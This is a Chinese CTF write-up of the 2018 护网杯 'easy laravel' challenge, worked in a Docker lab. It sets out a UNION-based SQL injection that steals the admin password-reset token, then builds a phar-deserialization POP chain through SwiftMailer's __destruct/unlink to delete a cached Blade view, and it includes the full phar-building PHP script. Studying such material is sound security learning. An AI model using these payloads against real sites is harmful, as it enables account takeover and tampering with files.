护网杯easy laravel ——Web菜鸡的详细复盘学习

前言

感谢出题大佬给出的docker环境让本菜鸡有机会复现学到更多@_@

复现让我发现了很多读wp以为懂了动手做的时候却想不通的漏掉的知识点(还是太菜orz),也让我对这道题解题逻辑更加理解。所以不要怂,就是干23333!

* 将复现这道压轴题的过程中遇到的相关知识点的资料也链接到了相应地方

0x01 环境搭建

https://github.com/sco4x0/huwangbei2018easylaravel

//进入dockerfile所在目录 docker build -t 'hwb_easyweb' //查看是否已成功构建image docker images //创建container docker run -id --name 'my_easyweb' -m '1G' --network='bridge' -p '80':80 'hwb_easyweb' //查看正在运行的container docker ps //查看所有container,包括不在运行的 docker ps -a //进入容器

docker exec -it 'my_easyweb' /bin/bash

打开Kitematic (win下docker GUI工具)即可快速访问站点

0x02 审计源码

网站是用laravel写的,先熟悉laravel文件才知道该从何看起

可以先在\routes\web.php中查看自定义路由

Route::get('/', function () { return view('welcome'); }); Auth::routes(); Route::get('/home', 'HomeController@index'); Route::get('/note', 'NoteController@index')->name('note'); Route::get('/upload', 'UploadController@index')->name('upload'); Route::post('/upload', 'UploadController@upload')->name('upload'); Route::get('/flag', 'FlagController@showFlag')->name('flag'); Route::get('/files', 'UploadController@files')->name('files'); Route::post('/check', 'UploadController@check')->name('check'); Route::get('/error', 'HomeController@error')->name('error');

这里Auth::routes()是在开发laravel时使用了php artisan make:auth命令,即使用了laravel默认的注册登陆系统后laravel默认提供的一套路由

这套默认路由具体在laravel源码 Illuminate/Routing/Router.php

/** * Register the typical authentication routes for an application. * * @return void */ public function auth() { // Authentication Routes... $this->get('login', 'Auth\LoginController@showLoginForm')->name('login'); $this->post('login', 'Auth\LoginController@login'); $this->post('logout', 'Auth\LoginController@logout')->name('logout'); // Registration Routes... $this->get('register', 'Auth\RegisterController@showRegistrationForm')->name('register'); $this->post('register', 'Auth\RegisterController@register'); // Password Reset Routes... $this->get('password/reset', 'Auth\ForgotPasswordController@showLinkRequestForm'); $this->post('password/email', 'Auth\ForgotPasswordController@sendResetLinkEmail'); $this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm'); $this->post('password/reset', 'Auth\ResetPasswordController@reset'); }

源码发现的点:

• 可以找到管理员账号邮箱

//\database\factories\ModelFactory.php $factory->define(App\User::class, function (Faker\Generator $faker) { static $password; return [ 'name' => '4uuu Nya', 'email' => 'admin@qvq.im', 'password' => bcrypt(str_random(40)), //40位随机数,无法通过爆破得到管理员密码 'remember_token' => str_random(10), ]; });

• 只有当用户邮箱是'admin@qvq.im'时也就是只有admin用户才可以访问upload/file/flag页面

//\app\Http\Middleware\AdminMiddleware.php public function handle($request, Closure $next) { if ($this->auth->user()->email !== 'admin@qvq.im') { return redirect(route('error')); } return $next($request); } } //\app\Http\Controllers\FlagController.php class FlagController extends Controller { public function __construct() { $this->middleware(['auth', 'admin']); } public function showFlag() //认证为admin时显示flag { $flag = file_get_contents('/th1s1s_F14g_2333333'); return view('auth.flag')->with('flag', $flag); } } //...

当然注册时过滤了已注册邮箱(laravel的unique()方法),无法以'admin@qvq.im'注册,这里是没有绕过方法的

//\app\Http\Controllers\Auth\RegisterController.php protected function validator(array $data) { return Validator::make($data, [ 'name' => 'required|max:255', 'email' => 'required|email|max:255|unique:users', 'password' => 'required|min:6|confirmed', ]); }

• 非admin用户只能访问note页面,查询语句或许可以注入

//\app\Http\Controllers\NoteController.php class NoteController extends Controller { public function __construct() { $this->middleware('auth'); } public function index(Note $note) { $username = Auth::user()->name; $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'"); //可能是注入点 return view('note', compact('notes')); } }

0x03 拿到admin账户

从源码上看,无论如何都要拿到admin账户才能有下一步思路,在这里用户不能修改邮箱,但是可以重置密码

//\database\migrations\2014_10_12_100000_create_password_resets_table.php public function up() { Schema::create('password_resets', function (Blueprint $table) { $table->string('email')->index(); $table->string('token')->index(); $table->timestamp('created_at')->nullable(); }); }

重置{token}对应账户的密码的路由为

$this->get('password/reset/{token}', 'Auth\ResetPasswordController@showResetForm');

所以拿到'admin@qvq.im'账户对应的token即可重置其密码,显然我们可以尝试注入来查询到password_resets中的这个token

注入取得 token

首先尝试验证存在注入存在

然后order by判断列数

order by5时访问note正常

order by6时

所以order=5

接下来确定回显位置 test' union select 1,2,3,4,5#

回显位是2

接下来查询password_resets中的token

test' union select 1,(select token from password_resets where email='admin@qvq.im'),3,4,5#

拿到token= 1dfde2e1f75253e07d05342d1e39819c126d76e5d96ac348255fd772829f93b0 ,接下来根据路由规则访问密码重置页

成功进入admin用户!

0x04 进入后台

访问flag页面发现

但源码里面写的是admin账户访问flag页面就给出flag,题目后来给了提示pop chain和blade expire

看了大佬wp,laravel存在blade过期问题

blade模板

Blade 是 Laravel 提供的一个简单而又强大的模板引擎。和其他流行的 PHP 模板引擎不同,Blade 并不限制你在视图中使用原生 PHP 代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade 基本上不会给你的应用增加任何负担。Blade 视图文件使用 .blade.php 作为文件扩展名,被存放在 resources/views 目录。

所以当我们修改了flag的balde模板但是还没有编译使其渲染出新的flag页面,其页面还是没修改时的那个缓存

(如果平时有做laravel开发应该能一下意识到这个问题……orz,所以做web鸡很重要的还是要把开发学好)

所以我们要使新的flag.blade模板渲染出来,就要去删除flag页面旧的缓存,再次访问flag页面的时候就会去重新编译新的flag页面

要想删除旧的缓存页面,要做到两点:

• 找到一个删除方法

• 知道缓存页面文件位置和名字

0x05 利用pop chain删除旧的flag页面缓存

菜鸡如我还理解了半天pop chain的意思orz,总之就是和php的反序列化有关

初探反序列化与POP CHAIN

好,那么什么是POP CHAIN?这里给出我自己的理解:把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。

所以尝试找一个反序列化的地方,到现在为至我们还没用到uploadcontroller

但是并没有使用unserialize()函数的地方,这里的利用反序列化的方法来自2018-8 blackhat会议上讲的一个议题

File Operation Induced Unserialization via the “phar://” Stream Wrapper

利用 phar 拓展 php 反序列化漏洞攻击面

我的理解是,phar文件中以序列化的形式存放了用户自定义的meta-data,在通过phar://伪协议解析phar文件时调用了unserialize()来反序列化meta-data,这样相当于有可以用phar的地方就隐含的调用了unserialize()。

在了解攻击手法之前我们要先看一下phar的文件结构,通过查阅手册可知一个phar文件有四部分构成:

1. a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

然后值得注意的地方,phar文件类型的判别不是依赖后缀而是文件最开始stub部分中的结尾__HALT_COMPILER();?>,所以我们可以随意设定phar文件头部部分字节和后缀名,这样能绕开一部分类型检查。

利用条件

1. phar文件要能够上传到服务器端。

2. 要有可用的魔术方法作为“跳板”。

3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

查看app\Http\Controllers\UploadController.php发现符合:有上传点,在check方法中没做字符过滤这样就可以参数中包含phar://,类型检测也可以通过改后缀名绕过

//\app\Http\Controllers\UploadController.php public function check(Request $request) //check方法 { $path = $request->input('path', $this->path); $filename = $request->input('filename', null); if($filename){ if(!file_exists($path . $filename)){ //这里参数完全可控,可以控制调用phar协议 Flash::error('磁盘文件已删除,刷新文件列表'); }else{ Flash::success('文件有效'); } } return redirect(route('files')); } }

最后看大佬wp中用于构造的phar的脚本模模糊糊理解了,感觉这里思路和pwn里面的ropgadget意思挺像的,我的理解就是在已有的代码资源里面找到可以为自己所调用的片段/函数来利用。

寻找可以达到删除目的的函数

我们要达到删除缓存文件的目的,而这个删除功能要在已有的代码中的函数中找而不是凭空造一个。

怎么找,首先下载的源码里面有composer.json,compose install 安装完所有组件才算有了所有源码(很关键,安装完后的组件在\vendor下),

然后尝试从源码中寻找可以达到删除目的的函数,组件太多不可能把每一个的代码都读一遍,直接搜索可用于删除文件的函数

unlink() 函数删除文件。若成功,则返回 true,失败则返回 false。

//vendor\swiftmailer\swiftmailer\lib\classes\Swift\ByteStream\TemporaryFileByteStream.php

<?php /* * This file is part of SwiftMailer. * (c) 2004-2009 Chris Corbyn * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ /** * @author Romain-Geissler */ class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream { public function __construct() { $filePath = tempnam(sys_get_temp_dir(), 'FileByteStream'); if ($filePath === false) { throw new Swift_IoException('Failed to retrieve temporary file name.'); } parent::__construct($filePath, true); } public function getContent() { if (($content = file_get_contents($this->getPath())) === false) { throw new Swift_IoException('Failed to get temporary file content.'); } return $content; } public function __destruct() { if (file_exists($this->getPath())) { @unlink($this->getPath()); //这里使用了unlink方法 } } }

//vendor\swiftmailer\swiftmailer\lib\classes\Swift\ByteStream\FileByteStream.php public function getPath() { return $this->_path; //返回接收文件的路径 }

这处unlink接受要删除的文件路径作为参数,而且在魔术方法_destruct()里,这就是我们的pop chain。这样我们可以新建`SwiftByteStream_TemporaryFileByteStream`类,将旧的flag页面的路径(上面找到的)布置进去,生成phar,然后phar://伪协议访问该文件,文件结束时自动调用__destruct()相当于调用unlink函数删除了缓存文件达到目的。

理解php对象注入

你可以看到,我们创建了一个对象,序列化了它(然后__sleep被调用),之后用序列化对象重建后的对象创建了另一个对象,接着php脚本结束的时候两个对象的__destruct都会被调用。

缓存文件位置和名字

文件名字

在api文档里面找呀找

https://laravel.com/api/5.4/Illuminate/View/Compilers/Compiler.html#method_getCompiledPath

https://github.com/laravel/framework/blob/5.4/src/Illuminate/View/Compilers/Compiler.php#L49

https://laravel.com/api/5.4/Illuminate/View/Compilers/BladeCompiler.html

$path就是渲染的blade文件的path

那么网站目录在服务器上什么位置呢?发现admin有条note

nginx默认则是指向 /usr/share/nginx/html

所以 $path=/usr/share/nginx/html/resources/views/auth/flag.blade.php

sha1($path)=34e41df0934a75437873264cd28e2d835bc38772.php

审计源码发现相对网站目录blade缓存在/storage/framework/views

//\config\view.php /* |-------------------------------------------------------------------------- | Compiled View Path |-------------------------------------------------------------------------- | | This option determines where all the compiled Blade templates will be | stored for your application. Typically, this is within the storage | directory. However, as usual, you are free to change this value. | */ 'compiled' => realpath(storage_path('framework/views')), ];

所以缓存所在路径 /usr/share/nginx/html/storage/framework/views

所以按照源码,flag.blade.php的缓存文件在

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php

构造一个phar包

下面来尝试构建一个exp.php(放在vendor文件夹下

首先 PHP autoload 机制详解

<?php include('autoload.php');

试着序列化一个Swift_ByteStream_TemporaryFileByteStream 然后打出来看看 php-序列化(serialize)格式详解

$a = serialize(new Swift_ByteStream_TemporaryFileByteStream()); var_dump(unserialize($a)); var_dump($a);

所以利用正则将旧缓存路径以及路径字符串长度布置进去 正则表达式

$a = preg_replace('/C:.*tmp/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); $a = str_replace('s:45', 's:90', $a);

接下来就是构造一个phar包 初探phar:// (*注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

var_dump(unserialize($a)); $b = unserialize($a); $p = new Phar('./exp.phar', 0); //生成的exp.phar在网站根目录下不在vendor下 $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering();

将拿到的exp.phar修改后缀名为exp.gif并上传

//完整脚本 <?php include('autoload.php'); $a = serialize(new Swift_ByteStream_TemporaryFileByteStream()); $a = preg_replace('/C:.*tmp/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a); $a = str_replace('s:45', 's:90', $a); var_dump(unserialize($a)); $b = unserialize($a); $p = new Phar('./exp.phar', 0); $p->startBuffering(); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $p->setMetadata($b); $p->addFromString('test.txt','text'); $p->stopBuffering(); ?>

构造post参数调用phar://协议

读源码可以找到上传路径/storage/app/public

//app\Http\Controllers\UploadController.php class UploadController extends Controller { public function __construct() { $this->middleware(['auth', 'admin']); $this->path = storage_path('app/public'); }

又因为nginx是默认配置所以完整路径是/usr/share/nginx/html/storage/app/public

check时抓包会发现只有file参数不过源码里面可以看见其实还隐含了path参数

//\app\Http\Controllers\UploadController.php $path = $request->input('path', $this->path); $filename = $request->input('filename', null); if($filename){ if(!file_exists($path . $filename)){

加入path参数拼接直接使用phar伪协议访问了exp.gif

然后再查看flag页面,即可看到新的flag页面出现了flag

参考学习的大佬wp

护网杯2018 easy_laravel出题记录 题出的真的好,学到了很多,疯狂膜大大

by 一叶飘零 膜师傅

by venenof 膜师傅

by kingkk 膜师傅

by shaobaobaoer 膜师傅

原文发布于微信公众号 - 安恒网络空间安全讲武堂(cyberslab)

原文发表时间:2018-10-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏后台全栈之路

DNS 报文结构和个人 DNS 解析代码实现——解决 getaddrinfo() 阻塞问题

实际应用中发现一个问题,在某些国家/ 地区的某些 ISP 提供的网络中,程序在请求 DNS 以连接一些服务器的时候,有时候会因为 ISP 的 DNS 递归查询太...

6386
来自专栏友弟技术工作室

iptables系列五

iptables系列之layer7 ? 一块网卡多个IP,这张网卡上连接一个交换机,交换机上连接了多个不同网段的主机,如果设置网关,以及转发功能。不同网段主机可...

2875
来自专栏安富莱嵌入式技术分享

【安富莱】【RL-TCPnet网络教程】第10章 RL-TCPnet网络协议栈移植(FreeRTOS)

本章教程为大家讲解RL-TCPnet网络协议栈的FreeRTOS操作系统移植方式,学习了第6章讲解的底层驱动接口函数之后,移植就比较容易了,主要是添加库文件、配...

1052
来自专栏玄魂工作室

Python黑帽编程1.5 使用Wireshark练习网络协议分析

1.5.0.1 本系列教程说明 本系列教程,采用的大纲母本为《Understanding Network Hacks Attack and Defense w...

34710
来自专栏zhisheng

RESTful API 设计规范

该仓库整理了目前比较流行的 RESTful api 设计规范,为了方便讨论规范带来的问题及争议,现把该文档托管于 Github,欢迎大家补充!!

2763
来自专栏腾讯大数据的专栏

网卡收包流程

0.前言 为提升信鸽基础服务质量,笔者就网络收包全流程进行了内容整理。 网络编程中我们接触得比较多的是socket api和epoll模型,对于系统内核和网卡驱...

1.8K14
来自专栏张善友的专栏

[腾讯社区开放平台]介绍开放授权协议-OAuth

OAuth (开放授权) 是一个开放标准,允许用户授权第三方网站访问他们存储在另外的服务提供者上的信息,而不需要将用户名和密码提供给第三方网站或分享他们数据的所...

2487
来自专栏恰同学骚年

.NET Core微服务之基于Ocelot实现API网关服务

  API 网关一般放到微服务的最前端,并且要让API 网关变成由应用所发起的每个请求的入口。这样就可以明显的简化客户端实现和微服务应用程序之间的沟通方式。以前...

1303
来自专栏向治洪

百度地图android studio导入开发插件

百度地图SDK v3.5.0开发包下载地址:http://lbsyun.baidu.com/sdk/download?selected=location 开...

1.1K8
来自专栏Seebug漏洞平台

CVE-2017-16943 Exim UAF漏洞分析--后续

作者:Hcamael@知道创宇404实验室 上一篇分析出来后,经过@orange的提点,得知了meh公布的PoC是需要特殊配置才能触发,所以我上一篇分析文章最后...

3226

扫码关注云+社区

领取腾讯云代金券